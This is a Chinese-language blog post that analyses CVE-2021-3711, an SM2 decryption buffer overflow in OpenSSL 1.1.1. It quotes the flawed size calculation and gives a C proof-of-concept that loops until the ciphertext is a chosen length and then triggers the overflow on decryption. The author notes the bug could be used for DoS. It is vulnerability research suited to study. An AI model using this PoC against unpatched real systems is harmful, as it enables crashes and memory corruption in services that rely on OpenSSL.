CVE-2021-3711的原理解析以及简单复现

CVE-2021-3711漏洞解析

  • 这个文件位置在1.1.1不同的版本位置可能也有变化,具体可以gpt或者官方文档看看这里示例的是)

在crypto/pkcs7/pk7_doit.c,有这个函数,是对被包装的密文进行解密的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static int pkcs7_decrypt_rinfo(unsigned char **pek, int *peklen,
PKCS7_RECIP_INFO *ri, EVP_PKEY *pkey)
{
EVP_PKEY_CTX *pctx = NULL;
unsigned char *ek = NULL;
size_t eklen;

int ret = -1;

pctx = EVP_PKEY_CTX_new(pkey, NULL);
if (!pctx)
return -1;

if (EVP_PKEY_decrypt_init(pctx) <= 0)
goto err;

if (EVP_PKEY_CTX_ctrl(pctx, -1, EVP_PKEY_OP_DECRYPT,
EVP_PKEY_CTRL_PKCS7_DECRYPT, 0, ri) <= 0) {
PKCS7err(PKCS7_F_PKCS7_DECRYPT_RINFO, PKCS7_R_CTRL_ERROR);
goto err;
}

if (EVP_PKEY_decrypt(pctx, NULL, &eklen,
ri->enc_key->data, ri->enc_key->length) <= 0)
goto err;

ek = OPENSSL_malloc(eklen);

if (ek == NULL) {
PKCS7err(PKCS7_F_PKCS7_DECRYPT_RINFO, ERR_R_MALLOC_FAILURE);
goto err;
}

if (EVP_PKEY_decrypt(pctx, ek, &eklen,
ri->enc_key->data, ri->enc_key->length) <= 0) {
ret = 0;
PKCS7err(PKCS7_F_PKCS7_DECRYPT_RINFO, ERR_R_EVP_LIB);
goto err;
}

ret = 1;

OPENSSL_clear_free(*pek, *peklen);
*pek = ek;
*peklen = eklen;

err:
EVP_PKEY_CTX_free(pctx);
if (!ret)
OPENSSL_free(ek);

return ret;
}

EVP_PKEY_decrypt()是解密函数,根据传入内容会自行判断解析结构体内的哪个解密函数,里面就包含SM2的解密函数。

我们最开始也不知道outlen有多长,这个outlen预先分配给密文的缓冲区长度。是如何分配的呢,我们得先跳转一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int pkey_sm2_decrypt(EVP_PKEY_CTX *ctx,
unsigned char *out, size_t *outlen,
const unsigned char *in, size_t inlen)
{
EC_KEY *ec = ctx->pkey->pkey.ec;
SM2_PKEY_CTX *dctx = ctx->data;
const EVP_MD *md = (dctx->md == NULL) ? EVP_sm3() : dctx->md;

if (out == NULL) {
if (!sm2_plaintext_size(ec, md, inlen, outlen))
return -1;
else
return 1;
}

return sm2_decrypt(ec, md, in, inlen, out, outlen);
}

static int pkey_sm2_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2)

第一次传入out=NULL,使用sm2_plaintext_size(ec, md, inlen, outlen)函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int sm2_plaintext_size(const EC_KEY *key, const EVP_MD *digest, size_t msg_len,
size_t *pt_size)

{
const size_t field_size = ec_field_size(EC_KEY_get0_group(key));
const int md_size = EVP_MD_size(digest);
size_t overhead;

if (md_size < 0) {
SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_DIGEST);
return 0;
}
if (field_size == 0) {
SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_FIELD);
return 0;
}

overhead = 10 + 2 * field_size + (size_t)md_size;
if (msg_len <= overhead) {
SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_ENCODING);
return 0;
}

*pt_size = msg_len - overhead;
return 1;
}
1
const size_t field_size = ec_field_size(EC_KEY_get0_group(key));

这个函数是获取key所在椭圆曲线的域的大小,那么这个域的大小就是p,sm2固定的域的大小是32字节,这里用域的大小代替了x和y的大小,不过这里是不严谨的。因为x,y的大小也可能小于32字节.

这里得到的

overhead = 10 + 2 * field_size + (size_t)md_size;

*pt_size = msg_len - overhead;

即即将分配的给输出明文的缓冲区(通过密文的大概长度推算出明文的)。

我们可以介绍一些ANS.1的大概结构见文档另一部分。10就是前面的TAG和lenth占的

我们计算得出value是*pt_size,不过如果field_silze偏大,那么缓冲区就会偏小,得到明文的时候就会导致缓冲区溢出。

我们只需要用缓冲区为31bit的明文加密,后续进行解密的时候就会发现触发了缓冲区溢出的漏洞。

  • 补充,由于这个openssl1.1.1系列还没有对sm2做专门的签名接口,命令也只能用于生成公钥私钥。不过可以复杂一点的方式来调用evp来进行。

    该代码在openssl1.1.1-x64运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "openssl/ec.h"
#include "openssl/evp.h"
#include "openssl/bn.h"

int sm2_encrypt(EVP_PKEY* pkey, const unsigned char* message, size_t message_len,
unsigned char** ciphertext, size_t* ciphertext_len)
{
EVP_PKEY_CTX* ectx = NULL;
int ret = -1;

if (!(ectx = EVP_PKEY_CTX_new(pkey, NULL))) goto end;
if (EVP_PKEY_encrypt_init(ectx) != 1) goto end;

// 查询密文长度
if (EVP_PKEY_encrypt(ectx, NULL, ciphertext_len, message, message_len) != 1) goto end;

*ciphertext = (unsigned char*)malloc(*ciphertext_len);
if (!(*ciphertext)) goto end;

if (EVP_PKEY_encrypt(ectx, *ciphertext, ciphertext_len, message, message_len) != 1) goto end;

ret = 0;

end:
if (ectx) EVP_PKEY_CTX_free(ectx);
return ret;
}

int sm2_decrypt(EVP_PKEY* pkey, const unsigned char* ciphertext, size_t ciphertext_len,
unsigned char** plaintext, size_t* plaintext_len)
{
EVP_PKEY_CTX* dctx = NULL;
int ret = -1;

if (!(dctx = EVP_PKEY_CTX_new(pkey, NULL))) goto end;
if (EVP_PKEY_decrypt_init(dctx) != 1) goto end;

// 查询明文长度
if (EVP_PKEY_decrypt(dctx, NULL, plaintext_len, ciphertext, ciphertext_len) != 1) goto end;

*plaintext = (unsigned char*)malloc(*plaintext_len);
if (!(*plaintext)) goto end;

if (EVP_PKEY_decrypt(dctx, *plaintext, plaintext_len, ciphertext, ciphertext_len) != 1) goto end;

ret = 0;

end:
if (dctx) EVP_PKEY_CTX_free(dctx);
return ret;
}

int main(void)
{
int ret = -1, i;
EVP_PKEY_CTX* pctx = NULL;
EVP_PKEY* pkey = NULL;
unsigned char message[16] = { 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7,
0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF };
size_t message_len = sizeof(message);
unsigned char* ciphertext = NULL, * plaintext = NULL;
size_t ciphertext_len, plaintext_len;

// 生成 SM2 密钥对
while (1>0){
if (!(pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_EC, NULL))) goto clean_up;
if (EVP_PKEY_paramgen_init(pctx) != 1) goto clean_up;
if (EVP_PKEY_CTX_set_ec_paramgen_curve_nid(pctx, NID_sm2) <= 0) goto clean_up;
if (EVP_PKEY_keygen_init(pctx) != 1) goto clean_up;
if (EVP_PKEY_keygen(pctx, &pkey) != 1) goto clean_up;

// 设置 SM2 类型
if (EVP_PKEY_set_alias_type(pkey, EVP_PKEY_SM2) != 1) goto clean_up;

// 加密
if (sm2_encrypt(pkey, message, message_len, &ciphertext, &ciphertext_len) != 0) {
printf("Encryption failed!\n");
goto clean_up;
}

printf("Ciphertext length: %zu\nCiphertext (ASN.1 encoded):\n", ciphertext_len);
for (i = 0; i < (int)ciphertext_len; i++) {
printf("0x%02x ", ciphertext[i]);
}
printf("\n\n");
if (ciphertext_len == 121 ) {
break;//判断,让由于其他两个C2和C3如果在密文不变的情况下是不变的,所以我们只需要限定它小于正常生成长度的小一些就行
}
}

// 解密
if (sm2_decrypt(pkey, ciphertext, ciphertext_len, &plaintext, &plaintext_len) != 0) {
printf("Decryption failed!\n");
goto clean_up;
}

printf("Decrypted plaintext length: %zu\nPlaintext:\n", plaintext_len);
for (i = 0; i < (int)plaintext_len; i++) {
printf("0x%02x ", plaintext[i]);
}
printf("\n\n");


printf("SM2 encryption and decryption succeeded.\n");
ret = 0;

clean_up:
if (pctx) EVP_PKEY_CTX_free(pctx);
if (pkey) EVP_PKEY_free(pkey);
if (ciphertext) free(ciphertext);
if (plaintext) free(plaintext);

#if defined(_WIN32) || defined(_WIN64)
system("pause");
#endif

return ret;
}

原理已经讲解过,具体内容见代码。

运行截图如下

  • 一些吐槽

    由于sm在openssl1.1.1刚刚引入openssl,所以sm2并没有做适配的接口,要从evp调用,还是有点麻烦。并且生成证书的命令也没有给,只能生成公私钥。加上sm其实用的人本来也不多,应用范围就更少了,难怪没什么人复现,应用也没什么人有,在本地触发这个漏洞,就当作学习吧.2333。如果有爱折腾的Pwn手也可以本地搭一个传入docker做ctf题。也可以在web做DOS。还是这个漏洞做了断断续续10天,emm,openssl的还是挺有趣的。

  • 学密码也10个月了,还是比较菜,如有问题还请谅解。如果有人想讨论这个也可以私信我的邮箱2405508134@qq.com


CVE-2021-3711的原理解析以及简单复现
http://example.com/2025/07/20/过程解析/
Aŭtoro
fox
Postigita
July 20, 2025
Lizenta